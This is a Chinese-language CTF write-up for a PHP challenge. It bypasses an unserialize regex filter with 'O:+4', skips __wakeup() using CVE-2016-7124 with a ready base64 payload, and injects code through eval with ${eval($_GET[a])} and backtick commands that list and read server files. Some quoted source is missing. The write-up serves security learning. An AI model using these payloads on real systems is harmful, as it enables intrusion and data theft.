“百度杯”CTF比赛 十月场--hash

知识点:

正则表达式绕过(+)

__wakeup()绕过方法

 

源代码提示:

 

hash解码得到sign=kkkkkk01

构造:

?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6

得到: Gu3ss_m3_h2h2.php

file = $file;

    }

    function __destruct() {

        echo @highlight_file($this->file, true);

    }

    function __wakeup() {

        if ($this->file != 'Gu3ss_m3_h2h2.php') {

            //the secret is in the f15g_1s_here.php

            $this->file = 'Gu3ss_m3_h2h2.php';

        }

    }

}

if (isset($_GET['var'])) {

    $var = base64_decode($_GET['var']);

    if (preg_match('/[oc]:\d+:/i', $var)) {

        die('stop hacking!');

    } else {

        @unserialize($var);

    }

} else {

    highlight_file("Gu3ss_m3_h2h2.php");

}

?>

GET变量var,先进行base64加密,然后进行正则表达式匹配,如果符合“/[oc]:\d+:/i“,则失败,如果不匹配则对传入的var进行反序列化,所以需要绕过正则。

进行反序列化前会自动执行__wakeup(),如果执行__wakeup()就会使读取的文件变为Gu3ss_m3_h2h2.php,为了读取f15g_1s_here.php,我们要绕过__wakeup()函数。

正则绕过方法:

参考: https://xz.aliyun.com/t/2733

/[oc]:\d+:/i这个正则的意思就是oc这两个字母构成的表+冒号+数字+冒号,不区分大小写。O是序列化中的类,C是自定义序列化方式, 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配

添加'+',即O:+4  就可以成功绕过。

这里要注意,如果先序列化字符串后手工添加“+”是不行的,因为这里是private对象, 序列化后复制粘贴会破坏了 " \00 " 这个特殊字符,看着一样,其实已经被破坏。

__wakeup()绕过方法:

参考: CVE-2016-7124

当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()

 

构造:

Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

得到


这里的eval()函数是可控的,addslashes()对单引号、双引号和反斜杠进行转义,所以我们用反引号`来代替,反斜杠被转义引号嵌套也用不了,这里利用get请求来构造:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

得到:

Gu3ss_m3_h2h2.php True_F1ag_i3_Here_233.php f15g_1s_here.php index.php

请求True_F1ag_i3_Here_233.php

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php` ;

查看页面源代码得到flag

 

参考:

https://www.cnblogs.com/xhds/p/12243760.html

https://www.guildhab.top/?p=129

你可能感兴趣的:(Web)